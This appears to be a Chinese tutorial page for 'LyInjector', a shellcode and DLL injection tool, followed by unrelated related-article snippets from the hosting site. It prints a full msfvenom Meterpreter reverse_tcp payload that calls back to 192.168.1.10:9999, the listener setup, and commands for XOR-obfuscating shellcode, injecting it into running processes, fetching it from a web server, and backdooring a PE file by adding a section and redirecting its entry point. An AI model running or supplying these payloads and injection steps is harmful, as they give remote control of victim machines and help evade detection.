ShellCode 格式化代码注入工具

一款基于C/C++开发的应用层汇编代码注入工具,可实现向特定进程内注入动态链接库模块或注入ShellCode汇编指令集,还可以实现第三方进程的汇编级Call调用,通常被用于协助渗透人员完成内存注入,同时也可用于对特定ShellCode汇编代码进行测试,以便更好地了解ShellCode的稳定及可用性。本次分享工具源代码及使用方法,读者可根据自己的需要参考学习,并以此来更好的理解内存注入技术。

image

生成ShellCode

本工具仅提供代码及动态链接库的注入功能,多数情况下需要自行编写所需ShellCode代码,或直接配合Metasploit等安全工具使用,通过Metasploit工具生成ShellCode的后,即可使用本工具对ShellCode进行编码、压缩与格式化、注入等。同时,本工具还提供了多种实用小功能,如显示可注入进程、获取函数基址、新增节区等,可以帮助用户更加便捷地进行ShellCode测试操作。

以生成32位攻击载荷为例,在kali系统中,通过使用msfvenom命令可以生成特定的载荷,在我们如下所示的命令中使用-a用于指定生成载荷平台为32位,使用-p指定使用reverse_tcp反弹链接,使用lhost指定本机IP地址,使用lport指定本机端口,最后-f指定生成的ShellCode为C语言格式。

──(lyshark㉿kali)-[~]
└─$ sudo msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of c file: 1518 bytes
unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
"\xff\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x0a\x68\x02\x00"
"\x27\x0f\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";

此外,后台侦听器的配置应使用与攻击载荷相对应的模块,在如下案例中通过运行msfconsole进入控制台终端,使用use exploit/multi/handler指定句柄,使用set payload指定攻击载荷为reverse_tcp,使用set lhostset lport指定本端地址及端口信息,最后调用exploit -j来将侦听器挂入后台,此时当ShellCode被运行后将会反弹上线。

──(lyshark㉿kali)-[~]
└─$ sudo msfconsole
[+] Starting database
[i] The database appears to be already configured, skipping initialization
Metasploit tip: Start commands with a space to avoid saving them to history____________[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a,        |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a,     |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%][%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%|       `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%][% .--------..-----.|  |_ .---.-.|       .,a$%|.-----.|  |.-----.|__||  |_ %%][% |        ||  -__||   _||  _  ||  ,,aS$""`  ||  _  ||  ||  _  ||  ||   _|%%][% |__|__|__||_____||____||___._||%$P"`       ||   __||__||_____||__||____|%%][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a,       ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%        `"$   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]=[ metasploit v6.4.9-dev                           ]
+ -- --=[ 2420 exploits - 1248 auxiliary - 423 post       ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]Metasploit Documentation: https://docs.metasploit.com/msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.10
lhost => 192.168.1.10                                                                                       
msf6 exploit(multi/handler) > set lport 9999                                                                 
lport => 9999                                                                                               
msf6 exploit(multi/handler) > exploit -j
[*] Started reverse TCP handler on 0.0.0.0:9999                                                             
msf6 exploit(multi/handler) > 

通用功能

Show: 该功能无需传入任何参数,用于列出当前系统中所有进程信息,这包括了进程的PID进程位数以及进程名称等,如下输出信息所示;

C:\> LyInjector Show
[*] PID:     4 | 位数:x64 | 进程名:System
[*] PID:   104 | 位数:x64 | 进程名:Registry
[*] PID:   444 | 位数:x64 | 进程名:smss.exe
[*] PID:   592 | 位数:x64 | 进程名:csrss.exe
[*] PID:   684 | 位数:x64 | 进程名:csrss.exe
[*] PID:   708 | 位数:x64 | 进程名:wininit.exe
[*] PID:   748 | 位数:x64 | 进程名:winlogon.exe
[*] PID:   828 | 位数:x64 | 进程名:services.exe
[*] PID:   844 | 位数:x64 | 进程名:lsass.exe
[*] PID:   964 | 位数:x64 | 进程名:svchost.exe
[*] PID:   988 | 位数:x64 | 进程名:svchost.exe
[*] PID:  1016 | 位数:x64 | 进程名:fontdrvhost.exe
[*] PID:  1012 | 位数:x64 | 进程名:fontdrvhost.exe
[*] PID:  3568 | 位数:x32 | 进程名:wps.exe
[*] PID:  1084 | 位数:x32 | 进程名:wps.exe
[*] PID:  8408 | 位数:x64 | 进程名:cmd.exe
[*] PID:  4904 | 位数:x64 | 进程名:conhost.exe
[*] PID:  3032 | 位数:x64 | 进程名:audiodg.exe
[*] PID: 11072 | 位数:x64 | 进程名:LyInjector.exe

ShowDll: 该功能接收一个参数,传递--proc用于指定一个正在运行的进程,可输出该进程所加载的所有DLL动态链接库名称及加载基址,如下输出信息所示;

C:\> LyInjector ShowDll --proc lyshark.exe
[+] DLL名称:           USER32.dll | DLL基地址: 0x0000000076500000
[+] DLL名称:         MSVCR120.dll | DLL基地址: 0x0000000057B80000
[+] DLL名称:         KERNEL32.dll | DLL基地址: 0x0000000077050000

FreeDll: 该功能接受两个参数,通过传递--proc指定一个正在运行的进程,通过--dll指定用于卸载的模块名,执行后可将特定模块从进程中卸载掉,如下输出信息所示;

C:\> LyInjector FreeDll --proc lyshark.exe --dll MSVCR120D.dll
[+] 模块卸载状态: 1

GetFuncAddr: 该功能接收三个参数,传递--proc指定一个正在运行的进程,传递--dll指定一个动态链接库,传递--func指定函数名,如下输出信息所示;

C:\> LyInjector GetFuncAddr --proc lyshark.exe --dll user32.dll --func MessageBoxA
[+] 函数地址: 0x76581f70
C:\>
C:\> LyInjector GetFuncAddr --proc lyshark.exe --dll user32.dll --func MessageBoxW
[+] 函数地址: 0x765823a0

Format: 该功能接收一个参数,传递--path指定一个文本文件,可将该字节数组中的文本压缩为一行输出,如下输出信息所示;

C:\> more d://shellcode.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
C:\>
C:\> LyInjector Format --path d://shellcode.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31

FormatFile: 该功能接收两个参数,传递--path用于指定格式化之前的字节数组文本,传递--output用于指定格式化后输出位置,如下输出信息所示;

C:\> more d://shellcode.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
C:\>
C:\> LyInjector FormatFile --path d://shellcode.txt --output d://output.txt
[+] 已储存 => d://output.txt
C:\>
C:\> more d://output.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31

Xor: 该功能接收两个参数,传递--path用于指定需要异或处理的文本文件,传递--passwd用于指定异或加密密码,用于将文本中压缩后的字节数组进行异或处理并输出,如下输出信息所示;

C:\> more d://output.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
C:\>
C:\> LyInjector Xor --path d://output.txt --passwd lyshark
% &{{%ssssssuspr'q{z&vuw{!vqps{!vqs {!vqrws%!tw"qupr%%{!tqq{pr s" p urt sqq qs r %s'sr twztv&%vq{!vqrsvt{!wqp sr's{!wst{{v stww sr'svs{!v{qssr'p{!w{r{{v ztwp wz{!pw{!pr

Xchg: 该功能接收两个参数,传递--input用于指定交换之前的文本文件,传递--output用于指定需要交换之后的文本文件,用于将压缩后的字符串转为字节数组格式,如下输出信息所示;

C:\> more d://output.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
C:\>
C:\> LyInjector Xchg --input d://output.txt --output d://array.txt
[+] 字节已转为双字节
[*] 已写出ShellCode列表 => d://array.txt
C:\>
C:\> more d://array.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20\x01\xd3\x8b\x48\x18"
"\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31";

XorArray: 该功能接收两个参数,传递--path用于指定需要异或的文本文件,传递--passwd用于指定一个密钥,用于将一个字节数组进行异或处理并输出,如下输出信息所示;

C:\> more d://shellcode.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
C:\>
C:\> LyInjector XorArray --path d://shellcode.txt --passwd lyshark
"\xbf\xab\xcc\x43\x43\x43\x23\x72\x91\xca\xa6\x27\xc8\x11\x73\xc8"
"\x11\x4f\xc8\x11\x57\x4c\xf4\x9\x65\x72\xbc\xc8\x31\x6b\x72"
"\x83\xef\x7f\x22\x3f\x41\x6f\x63\x82\x8c\x4e\x42\x84\xa\x36"
"\xac\x11\xc8\x11\x53\x14\xc8\x1\x7f\x42\x93\xc8\x3\x3b\xc6"
"\x83\x37\xf\x42\x93\x13\xc8\x1b\x63\x42\x90\xc8\xb\x5b\xc6"
"\x8a\x37\x7f\xa\xc8\x77\xc8\x72";

注入功能

InjectDLL: 该功能接收两个参数,传递--proc指定需要注入的进程文件名,传递--dll指定需要注入的动态链接库文件路径,用于将一个DLL文件注入到对应的进程中,如下输出信息所示;

C:\> LyInjector InjectDLL --proc lyshark.exe --dll d://hook.dll

InjectSelfShell: 该功能接收一个参数,传递--shellcode指定要注入的字符串,用于将指定的一段ShellCode字符串注入到自身进程内并执行,如下输出信息所示;

C:\> LyInjector Format --path d://shellcode.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
C:\>
C:\> LyInjector InjectSelfShell --shellcode fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31

InjectArrayByte: 该功能接收一个参数,传递--path指定要接收的字节数组文件路径,用于将一段未被格式化的ShellCode数组注入到自身进程内并执行,如下输出信息所示;

C:\> more d://array.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
C:\>
C:\> LyInjector InjectArrayByte --path d://array.txt

FileInjectShell: 该功能接收一个参数,传递--path指定要接受的字节数组文件路径,用于将一段已被格式化的ShellCode注入到自身进程内并执行,如下输出信息所示;

C:\> more d://output_shellcode.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
C:\>
C:\> LyInjector FileInjectShell --path d://output_shellcode.txt

InjectWebShell: 该功能接收两个参数,传递--address指定要接受的对端Web服务地址,传递--payload指定服务器上的文本名,用于将一段已被格式化且存储在本地文本的ShellCode置入内存并运行,如下输出信息所示;

C:\> more shellcode.raw
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
C:\>
C:\> LyInjector InjectWebShell --address 192.168.1.100 --payload shellcode.raw

EncodeInFile: 该功能接收两个参数,传递--path指定一个加密后的文本路径,传递--passwd指定解密密码,用于直接注入加密后的ShellCode载荷到自身进程内,如下输出信息所示;

C:\> LyInjector Xor --path d://output_shellcode.txt --passwd lyshark
% &{{%ssssssuspr'quw{!vqps{z&v{!vqs {!vqrw{!tqq{pr%%s%!tw"qupr s" p urt sqq qs r %s'
C:\>
C:\> LyInjector EncodeInFile --path d://xor_shellcode.txt --passwd lyshark

InjectProcShell: 该功能接收两个参数,传递--pid用于指定需要注入的进程ID,传递--shellcode用于指定需要注入的ShellCode字符串,用于直接将一段ShellCode注入到特定进程中执行,如下输出信息所示;

C:\> LyInjector InjectProcShell --pid 4480 --shellcode fce88f0000006031d2648b523089e...

EncodePidInFile: 该功能接收三个参数,传递--pid用于指定需要注入的进程ID,传递--path用于指定待注入的加密ShellCode代码,传递--passwd用于指定解密密码,用于将一段加密后的ShellCode注入到目标内存中,如下输出信息所示;

C:\> LyInjector EncodePidInFile --pid 4480 --path d://shellcode.txt --passwd lyshark

AddSection: 该功能接收三个参数,传递--path用于指定要新增节的程序路径,传递--section用于指定要创建的节名称,传递--size用于指定创建的节的长度,用于在指定PE文件中创建一个新的节,如下输出信息所示;

C:\> LyInjector AddSection --path d://lyshark.exe --section .hack --size 1024
[-] 当前DOS头: 0x18B70000
[-] 当前NT头: 0x0000000018B70100

InsertShellCode: 该功能接收三个参数,传递--path用于指定要插入程序路径,传递--shellcode用于指定要插入的ShellCode文本文件,传递--offset用于指定要插入的文件偏移位置,用于将ShellCode插入到PE文件中的指定位置,如下输出信息所示;

C:\> more d://array.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
C:\>
C:\> LyInjector InsertShellCode --path d://lyshark.exe --shellcode d://array.txt --offset 1024
0xFC 0xE8 0x8F 0x00 0x00 0x00 0x60 0x31 0xD2 0x89 0xE5 0x64 0x8B 0x52 0x30 0x8B
0x52 0x0C 0x8B 0x52 0x14 0x0F 0xB7 0x4A 0x26 0x31 0xFF 0x8B 0x72 0x28 0x31 0xC0
0xAC 0x3C 0x61 0x7C 0x02 0x2C 0x20 0xC1 0xCF 0x0D 0x01 0xC7 0x49 0x75 0xEF 0x52
0x8B 0x52 0x10 0x57 0x8B 0x42 0x3C 0x01 0xD0 0x8B 0x40 0x78 0x85 0xC0 0x74 0x4C
0x01 0xD0 0x50 0x8B 0x58 0x20 0x01 0xD3 0x8B 0x48 0x18 0x85 0xC9 0x74 0x3C 0x49
0x8B 0x34 0x8B 0x31
[*] 已注入 ShellCode 到PE文件
[+] 注入起始FOA => 0x00000400 <DEC = 1024 > 注入结束FOA => 0x00000454 <DEC = 1108 >

RepairShellOep: 该功能接收三个参数,传递--path用于指定要插入程序路径,传递--start_offset用于指定ShellCode的起始文件偏移,传递--end_offset用于指定结束文件偏移,用于在ShellCode末尾增加跳转回原始地址处的JMP指令,如下输出信息所示;

C:\> LyInjector RepairShellOep --path d://lyshark.exe --start_offset 1024 --end_offset 1108
[+] 获取原OEP => 0x0000358B
[+] 在 ShellCode 尾部增加JMP跳转指令: 0x90 0x90 0x90 0x90 0xB8 0x8B 0x35 0x00 0x00 0xFF 0xE0 0x00 0x00 0x00 0x00
[*] 已增加跳转到 0x00000454 处的代码段
[+] 修正新入口地址: 0x00002400

SetSigFlag: 该功能接收一个参数,传递--path用于指定要设置标志的程序路径,用于在被插入ShellCode的程序上打标记,如下输出信息所示;

C:\> LyInjector SetSigFlag --path d://lyshark.exe
[+] 文件插入标记
C:\>
C:\> LyInjector SetSigFlag --path d://lyshark.exe
[-] 文件已被插入标记

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/58316.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ubuntu系统安装软件

在Linux系统中有四种软件安装方式&#xff1a;rpm、yum、apt、编译安装 编译安装 编译安装只有一个源码包&#xff0c;源码包是由一大堆源代码程序组成的&#xff0c;是由程序员按照特定格式和语法编写好了&#xff0c;现成的安装包 程序&#xff1a;未执行的代码 进程&#…

雷池社区版compose配置文件解析-mgt

在现代网络安全中&#xff0c;选择合适的 Web 应用防火墙至关重要。雷池&#xff08;SafeLine&#xff09;社区版免费切好用。为网站提供全面的保护&#xff0c;帮助网站抵御各种网络攻击。 compose.yml 文件是 Docker Compose 的核心文件&#xff0c;用于定义和管理多个 Dock…

自动驾驶-传感器简述

自动驾驶车辆上的传感器类型包含激光雷达、毫米波雷达、相机、imu、rtk、超声波雷达等&#xff0c;这些传感器用来接收外部世界多姿多彩的信号&#xff0c;根据接收到的信号&#xff0c;车载大脑对信号进行处理&#xff0c;那信号的准确程度就尤为重要。 本文将各个传感器的特性…

Lucas带你手撕机器学习——岭回归

岭回归&#xff08;Ridge Regression&#xff09; 一、背景与引入 在进行线性回归分析时&#xff0c;我们常常面临多重共线性的问题。多重共线性指的是自变量之间高度相关&#xff0c;这会导致回归系数的不稳定性&#xff0c;使得模型的预测能力降低。传统的线性回归通过最小…

模块化主动隔振系统市场规模:2023年全球市场规模大约为220.54百万美元

模块化主动隔振系统是一种用于精密设备和实验装置的隔振解决方案&#xff0c;通过主动控制技术消除振动干扰&#xff0c;提供稳定的环境。目前&#xff0c;随着微纳制造和精密测量技术的发展&#xff0c;对隔振系统的要求越来越高。模块化设计使得系统能够灵活适应不同负载和工…

STM32 第3章 如何用串口下载程序

时间:2024.10.28 一、学习内容 1、安装USB转串口驱动 1.1串口下载连接示意图 1、USB转串口模块在开发板上是一个独立的模块,可通过调帽与其他串口连接,USART1/2/3/4/5 2、只有USART1才具有串口下载的功能。 3、CH340是电平转换芯片,将电脑端输出的USB电平和单片机输…

1.3 面向对象 C++面试问题

1.3.1 简述一下什么是面向对象,面向对象与面向过程的区别 什么是面向对象 面向对象&#xff08;Object-Oriented Programming&#xff0c;OOP&#xff09;是一种编程范式&#xff0c;它通过将现实世界中的实体抽象为“对象”来组织代码。面向对象编程关注对象及其交互&#x…

行业首发|美格智能创新推出5G+Wi-Fi 7智能终端解决方案,端侧AI助力数智升维

在数字化时代的生产生活过程中&#xff0c;特殊场景下的通信需求愈发重要。高速、灵活、稳定的通信保障能够进一步提升生产生活的效率。随着5G网络的高速发展&#xff0c;一方面&#xff0c;其凭借低时延、高带宽、高可靠性和大规模连接的特性让移动终端的网络连接实现跨越式升…

论文解析八: GAN:Generative Adversarial Nets(生成对抗网络)

目录 1.GAN&#xff1a;Generative Adversarial Nets&#xff08;生成对抗网络&#xff09;1、标题 作者2、摘要 Abstract3、导言 IntroductionGAN的介绍 4、相关工作 Related work5、模型 Adversarial nets总结 6.理论计算 Theoretical Results具体算法公式全局优化 Global O…

【32】C++流

目录 C流 读写文件&#xff1a;文件流 对文本文件流读写 写文本文件 读文本文件 对二进制文件流读写 写二进制文件 读二进制文件 对文件流按格式读写取数据 按指定格式写文件 按指定格式读文件 C流 IO: 向设备输入数据和输出数据 C的IO流 设备: 文件控制台特定的数…

21世纪20年代了, 居然遭遇扩容U盘!

扩容u盘前些年很泛滥&#xff0c; 所以也有针对扩容u盘的测试软件 h2testw h2testw的工作原理很简单&#xff0c; 就是往u盘里写文件&#xff0c;写满后再读取文件进行验证 如果没有h2test&#xff0c; 也可以往里面考大文件&#xff0c; 再拷贝出来&#xff0c; 不出错就表示…

Navicat导入Excel数据时数据被截断问题分析与解决方案

目录 前言1. 问题分析1.1 默认字段类型的影响1.2 MySQL诊断机制的限制 2. 解决方案2.1 修改字段长度2.2 修改Excel数据以影响推断2.3 检查导入工具的设置 3. 其他注意事项3.1 注册表的修改3.2 增加自增ID 4. 结语 前言 在数据库的日常操作中&#xff0c;将Excel数据导入MySQL是…

SQL Server 当前日期及其未来三天的日期

当前日期及其未来三天的日期&#xff0c;并分别以 YYYY-MM-DD 和 yyyyMMdd 的格式展示 1、当前日期及其未来三天的日期&#xff0c;以 YYYY-MM-DD的格式展示 WITH CurrentDate AS (SELECT GETDATE() AS 当前日期 ) -- 使用 CONVERT 函数 SELECTCONVERT(VARCHAR(10), 当前日期,…

Ubuntu22.04版本左右,扩充用户可使用内存

1 取得root权限后&#xff0c;输入命令 lsblk 查看所有磁盘和分区&#xff0c;找到想要替换用户可使用文件夹内存的磁盘和分区。若没有进行分区&#xff0c;并转为所需要的分区数据类型&#xff0c;先进行分区与格式化&#xff0c;过程自行查阅。 扩充替换过程&#xff0c;例如…

Springboot项目搭建的问题

1.第一次出现这个问题是在使用postgresql进行搭建项目的时候&#xff0c;但是配置文件中的驱动一致导入不了 最后发现是meaven中依赖导入不进来&#xff08;不知道为什么&#xff09;&#xff0c;于是手动的在meaven中央仓库下载了对应的jar进行配置 然后项目可以正常启动 2.…

大模型系列——AlphaZero/强化学习/MCTS

AlphaGo Zero无需任何人类历史棋谱&#xff0c;仅使用深度强化学习&#xff0c;从零开始训练三天的成就已远远超过了人类数千年积累的围棋知识。 1、围棋知识 &#xff08;1&#xff09;如何简单理解围棋知识 &#xff08;2&#xff09;数子法分胜负&#xff1a;https://zhu…

w外链如何跳转微信小程序

要创建外链跳转微信小程序&#xff0c;主要有以下几种方法&#xff1a; 使用第三方工具生成跳转链接&#xff1a; 注册并登录第三方外链平台&#xff1a;例如 “W外链” 等工具。前往该平台的官方网站&#xff0c;使用手机号、邮箱等方式进行注册并登录账号。选择创建小程序外…

Jellycat玩偶界的天花板,如何用情绪营销征服成年人的心?

Jellycat的用户肯定对这个品牌有一定的了解&#xff0c;不知道的用户或许也看过这个很火的茄子表情包&#xff0c;这是Jellycat很火的一款玩偶“活泼茄子”。Jellycat&#xff0c;这个源自英国伦敦的高端玩具品牌&#xff0c;近年来在全球范围内迅速走红&#xff0c;摇身一变玩…

基于SSM土家风景文化管理系统的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;景点分类管理&#xff0c;热门景点管理&#xff0c;门票订单管理&#xff0c;旅游线路管理&#xff0c;系统管理 前提账号功能包括&#xff1a;系统首页&#xff0c;个人中心&…

搭建海外云服务器需要什么费用?

搭建海外云服务器需要什么费用&#xff1f;搭建海外云服务器的费用涉及多个方面&#xff0c;包括服务器实例费用、公网带宽费用、磁盘存储费用、操作系统费用和其他费用。具体费用取决于所选的云服务提供商、服务器配置、计费模式等因素。以下是UU云小编整理的一些主要的费用构…